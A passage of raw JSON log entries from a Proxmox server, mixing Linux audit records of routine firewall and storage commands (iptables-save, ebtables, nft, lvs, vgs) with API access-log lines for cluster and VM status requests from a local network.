exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965994208,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965994.208:67973): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5935fb0 a1=64f8d7409db0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65278 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375231,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.231:60746): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965173995,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:33 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964338835,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964338.835:60601): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985978,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.978:67948): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965725745,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.745:66851): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe4423fbc0 a1=5d5e509db200 a2=5d5e509b9680 a3=5 items=2 ppid=64208 pid=64209 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965990021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965990.021:67972): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65275 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375226,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.226:60745): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965173995,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:32 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964338835,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964338.835:60600): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985973,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.973:67947): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965725739,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.739:66849): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64208 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965990008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965990.008:67969): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375220,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.220:60744): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965172871,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:32 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964336052,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964336.052:60596): arch=c000003e syscall=59 success=no exit=-2 a0=7fffb605ebf0 a1=5d48647bf310 a2=5d48647b8680 a3=5 items=1 ppid=58178 pid=58179 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985970,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.970:67946): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965725729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.729:66848): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64207 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965987459,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965987.459:67966): arch=c000003e syscall=59 success=yes exit=0 a0=61301a93da60 a1=61301a93fbb0 a2=61301a8aab30 a3=8 items=3 ppid=1541 pid=65273 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"pvesh\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375214,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.214:60743): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965172871,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 908"} {"@timestamp":1781964335957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964335.957:60578): arch=c000003e syscall=59 success=no exit=-2 a0=7fffa1adb470 a1=589787fb7200 a2=589787f95680 a3=5 items=1 ppid=58159 pid=58160 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985969,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.969:67945): argc=1 a0=\"date\""} {"@timestamp":1781965725721,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.721:66847): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64206 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986072,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.072:67965): arch=c000003e syscall=59 success=yes exit=0 a0=5d11a54a9e90 a1=5d11a54a6c10 a2=5d11a5488680 a3=5 items=2 ppid=65266 pid=65272 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964374563,"@rawstring":"node=pve type=EXECVE msg=audit(1781964374.563:60742): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965171797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964333822,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964333.822:60568): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58149 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985964,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.964:67943): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965725713,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.713:66846): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64205 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986068,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.068:67964): arch=c000003e syscall=59 success=yes exit=0 a0=5d1167a4cac8 a1=7fff272105e0 a2=5d11a5488680 a3=5d1167a3024e items=2 ppid=65266 pid=65268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964374529,"@rawstring":"node=pve type=EXECVE msg=audit(1781964374.529:60741): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965171797,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964333822,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964333.822:60567): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58149 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985958,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.958:67942): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965725703,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.703:66845): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64204 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986067,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.067:67963): arch=c000003e syscall=59 success=yes exit=0 a0=7fff272105a0 a1=5d11a548f310 a2=5d11a5488680 a3=5 items=2 ppid=65266 pid=65267 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964374121,"@rawstring":"node=pve type=EXECVE msg=audit(1781964374.121:60740): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965171797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 900"} {"@timestamp":1781964333809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964333.809:60565): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985950,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.950:67941): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965725699,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.699:66844): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=561bc8745740 items=0 ppid=1156 pid=64203 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965986062,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.062:67961): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65266 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964374099,"@rawstring":"node=pve type=EXECVE msg=audit(1781964374.099:60737): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965171797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964333809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964333.809:60564): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985944,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.944:67940): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965725695,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.695:66843): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f10f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64203 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986055,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.055:67960): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65265 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964369089,"@rawstring":"node=pve type=EXECVE msg=audit(1781964369.089:60734): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965170760,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:30 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964328796,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964328.796:60562): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985936,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.936:67939): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965725687,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.687:66842): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.048:67959): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65264 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964369085,"@rawstring":"node=pve type=EXECVE msg=audit(1781964369.085:60731): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965170760,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 910"} {"@timestamp":1781964328796,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964328.796:60561): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985924,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.924:67938): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965725682,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.682:66841): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64201 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986040,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.040:67958): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65263 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366203,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.203:60728): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965169525,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964328788,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964328.788:60559): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984996,"@rawstring":"node=pve type=EXECVE msg=audit(1781965984.996:67937): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965725673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.673:66840): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64200 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.033:67957): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65262 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366199,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.199:60727): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965169525,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 893"} {"@timestamp":1781964328788,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964328.788:60558): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984984,"@rawstring":"node=pve type=EXECVE msg=audit(1781965984.984:67934): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965725667,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.667:66839): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131320 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64199 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986028,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.028:67956): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=598a1623e740 items=0 ppid=1156 pid=65261 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964366198,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.198:60726): argc=1 a0=\"date\""} {"@timestamp":1781965169525,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:28 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964325897,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.897:60554): arch=c000003e syscall=59 success=no exit=-2 a0=7fff28798230 a1=60081422e310 a2=600814227680 a3=5 items=1 ppid=58139 pid=58140 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984095,"@rawstring":"node=pve type=EXECVE msg=audit(1781965984.095:67931): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965725660,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.660:66838): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2360 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64198 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986025,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.025:67955): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed260 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65261 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366193,"@rawstring":"node=pve type=EXECVE msg=audit(1781964366.193:60724): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965168427,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:28 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964325780,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.780:60536): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe31216c10 a1=5b8c3b04f310 a2=5b8c3b048680 a3=5 items=1 ppid=58120 pid=58121 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984073,"@rawstring":"node=pve type=EXECVE msg=audit(1781965984.073:67930): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965725650,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.650:66837): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64197 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986019,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.019:67954): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1348d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65260 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 